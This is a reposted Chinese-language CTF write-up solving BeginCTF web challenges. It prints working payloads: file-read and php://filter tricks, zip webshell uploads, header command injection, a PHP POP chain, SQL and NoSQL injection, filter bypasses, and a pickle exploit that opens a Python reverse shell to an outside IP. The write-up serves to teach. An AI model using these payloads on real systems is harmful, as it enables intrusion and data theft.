0


【Web】小白也能看懂的BeginCTF个人wp(全)

纯萌新,贴出自己的wp,一起交流学习QWQ

zupload

下载源码,看到index里面

die(file_get_contents($_GET['action']));

就是个读文件的操作嘛,参数无过滤,直接上payload

 ?action=/flag

zupload-pro

和上一题比起来增加了过滤,不能直接读根目录,也不能目录穿越。

if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));

直接伪协议即可

payload:

?action=php://filter/convert.base64-encode/resource=/flag

zupload-pro-plus

这题对上传文件后缀做了一些过滤,但我们又不用上传文件,上一题payload一样能用

if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));

payload:

?action=php://filter/convert.base64-encode/resource=/flag

zupload-pro-plus-max

if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(include($_GET['action']));

对'/'个数做了限制,相当于ban了伪协议,直接读文件可能性不大了,只能上传马再文件包含拿shell了

else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_destination = 'uploads/' . $file_name;
    
                if (move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'ok',
                        'message' => 'File uploaded successfully',
                        'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                    ));
                }
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }

这段代码负责处理文件上传请求,限制上传文件的格式为zip,并进行一系列的验证和操作,最后返回相应的成功或错误信息

对文件内容无过滤,这不嘎嘎乱传

先随便创建个txt文件,压缩成zip文件,放到010editor里在文件末尾加上恶意代码

注意不要破坏zip文件格式,否则文件损坏过不了检测

上传成功后访问?action=uploads/1.zip

zupload-pro-plus-max-ultra

继续审计index.php代码,发现文件包含没了,但多一处exec命令执行

exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

其中$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';

即extract是可以控制的,可以进行无回显rce,最简单的就是直接写文件

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    die(file_get_contents('./upload'));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    $extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';
    
    $file_ext = explode('.', $file_name);
    $file_ext = strtolower(end($file_ext));
    
    $allowed = array('zip');
    
    if (in_array($file_ext, $allowed)) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {

                exec('unzip ' . $file_tmp . ' -d ' . $extract_to);

                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'Only zip files are allowed'
        ));
    }
}

payload:

X-Extract-To: ;cat /flag > flag.txt

访问/flag.txt

zupload-pro-plus-max-ultra-premium

exec中没有可控的变量($file_destination也被uniqid处理过)

直接rce可能性不大

if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {
        if ($file_error === 0) {
            if ($file_size <= 2097152) {
                $file_name_new = uniqid('', true) . '.' . $file_ext;
                $file_destination = 'uploads/' . $file_name_new;
    
                if (!move_uploaded_file($file_tmp, $file_destination)) {
                    echo json_encode(array(
                        'status' => 'error',
                        'message' => 'Failed to upload file'
                    ));
                }

                exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } 

后台会解压缩我们上传的zip文件,但不能访问,只能下载,不能直接get shell

.user.ini 文件的作用范围是当前目录及其子目录,而/uploads下没有可解析的文件

考虑通过软连接link间接操作/var/www/html,配合.user.ini包含一个恶意文件1.php

(相当于上传了/.user.ini和/1.php,给同目录的/index.php包含了1.php)

参考文章:【CISCN2023】unzip 详解

先上传link.zip,再上传link1.zip,再上传link2.zip。

等待5分钟使配置文件生效,直接在/index.php读flag

zupload-pro-revenge

文件上传部分几乎没有过滤,甚至后缀也是自由的,直接传马

<?php
error_reporting(0);
if ($_SERVER['REQUEST_METHOD'] == 'GET') {
    if (!isset($_GET['action'])) {
        header('Location: /?action=upload');
        die();
    }
    if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {
        die('<h1>Invalid action</h1>');
    }
    die(file_get_contents($_GET['action']));
} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $file = $_FILES['file'];
    $file_name = $file['name'];
    $file_tmp = $file['tmp_name'];
    $file_size = $file['size'];
    $file_error = $file['error'];
    
    if ($file_error === 0) {
        if ($file_size <= 2097152) {
            $file_destination = 'uploads/' . $file_name;

            if (move_uploaded_file($file_tmp, $file_destination)) {
                echo json_encode(array(
                    'status' => 'ok',
                    'message' => 'File uploaded successfully',
                    'url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination
                ));
            }
        }
    } else {
        echo json_encode(array(
            'status' => 'error',
            'message' => 'File upload failed'
        ));
    }
}

直接去访问/uploads/1.php

zupload-pro-plus-enhanced

这题后台不会自动解压缩了,但问题不大

$file_ext = explode('.', $file_name);
$file_ext = strtolower($file_ext[1]);

重点是这段代码,后缀的处理存在漏洞,只要构造1.zip.php,那么只会检查第一个点号后面的zip,PHP文件会正常执行,payload如下

直接访问/uploads/1.zip.php

POPgadget

因为__wakeup会注册FLAG的环境变量,所以考虑直接phpinfo读flag

exp:

<?php
class Fun{
private $func = 'call_user_func_array';
public function __call($f,$p){
call_user_func($this->func,$f,$p);
}
}

class A {
public $a;
public function __get($p){
if(preg_match("/Test/",get_class($this->a))){
return "No test in Prod\n";
}
return $this->a->$p();
}
}

class B {
public $p;
public function __destruct(){
$p = $this->p;
echo $this->a->$p;
}
}

$c=new Fun();
$b=new A();
$a=new B();
$a->a=$b;
$a->p='phpinfo';
$b->a=$c;
echo (serialize($a));

最终payload:

?begin=O:1:"B":2:{s:1:"p";s:7:"phpinfo";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:" Fun func";s:20:"call_user_func_array";}}}

在phpinfo里找到flag

sql教学局

先简单fuzz一下

发现有替换为空的,也有直接ban了的

第一段:

查库

1'//union//sselectelect//group_concat(schema_name)//ffromrom/**/infoorrmation_schema.schemata#

#secret

查表

1'//union//sselectelect//group_concat(table_name)//ffromrom//infoorrmation_schema.tables//where//table_schema//like/**/'secret'#

#password

查字段

1'//union//sselectelect//group_concat(column_name)//ffromrom//infoorrmation_schema.columns//where//table_name//like/**/'passwoorrd'#

#flag,id,note

查flag

1'//union//sselectelect//group_concat(flag)//ffromrom/**/secret.passwoorrd#

#flag{c246bd15-

找第二段flag

查字段

1'//union//sselectelect//group_concat(column_name)//ffromrom//infoorrmation_schema.columns//where//table_name//like/**/'scoorre'#

#grade,student

查值

1'//union//sselectelect//group_concat(grade)//ffromrom//scoorre//where//student//like/**/'begin'#

#c918-4ea1-ac76

第三段flag

读/flag文件

1'//union//sSELECTELECT/**/lloadoad_file('/flag')#

#-bc7b91a9d108}

三段flag拼起来,flag{c246bd15-c918-4ea1-ac76-bc7b91a9d108}

Pickelshop

一看题目名就是pickle反序列化

贴一篇自己之前写的Python的反序列化漏洞个人笔记

进来发现有注册、登录、和pickelshop,pickelshop没啥用

随便注册一下,发现返回了cookie

import pickle
import base64
s=base64.b64decode('gASVKQAAAAAAAAB9lCiMCHVzZXJuYW1llIwFWjNyNHmUjAhwYXNzd29yZJSMAzEyM5R1Lg==')
print(pickle.loads(s))

验证是pickle反序列化

写个exp

import pickle
import os
import base64

class exp(object):
    def __reduce__(self):
        s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.136.33",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """
        return os.system, (s,)

e = exp()
s = pickle.dumps(e)
user = base64.b64encode(s).decode()
print(user)

注意服务器是linux进行反序列化操作,我们也要在linux上进行序列化操作,否则会报错

记得提前监听1337端口

在login的路由cookie上打入(简单的逆向思维)

成功反弹shell拿到flag

readbooks

从/list/book1和/public/book1不同回显大概可以推测出/public这个路由是个读文件的操作

比如cat * 是读当前目录下所有文件内容

输入public/* 可以发现源码

@app.route('/')
@app.route('/index')
def hello_world():
    return render_template('index.html')

@app.route('/public/<path:name>')
def readbook(name):
    name = str(name)
    for i in DISALLOWED1:
        if i in name:
            return "banned!"
    for j in DISALLOWED_FILES:
        if j in name:
            return "banned!"
    for k in BLACKLIST:
        if k in name:
            return "banned!"
    print(name)
    try:
        res = os.popen('cat {}'.format(name)).read()
        return res
    except:
        return "error"

过滤如下:

DISALLOWED1 = ['?', '../', '/', ';', '!', '@', '#', '^', '&', '(', ')', '=', '+']

DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']

BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

经过尝试后可以使用反引号+引号配合echo出文件名即可

思路是echo ‘/flag’, echo被过滤使用’ec''ho’, 空格被过滤使用${IFS}

然后/flag通过base64编码,L2ZsYWc=,但是等号被过滤,可以对/flag*编码得到L2ZsYWcq

得到flag的文件是/_flag

对/_flag 进行编码L19mbGFn

再传入payload

'ec''ho'${IFS}L19mbGFn|'ba''se64'${IFS}-d

king

题目hint:

贴一篇文章学习一下:Nosql 注入从零到一

先开着bp,再输入网址,抓包如下

看着一大坨回显应该是MongoDB

是个遍历查询,我们把这部分放到repeater里

然后把左边一大坨改成查看集合(类似于sql里的数据库)

{"query":{"listCollections":1}}

看到了flag的字段文件

然后可以用find命令去读flag文件值

{"query":{"find":"flagjyqe9i21fcf"}}

标签: ctf web beginctf

本文转载自: https://blog.csdn.net/uuzeray/article/details/136032992
版权归原作者 Z3r4y 所有, 如有侵权,请联系我们删除。

“【Web】小白也能看懂的BeginCTF个人wp(全)”的评论:

还没有评论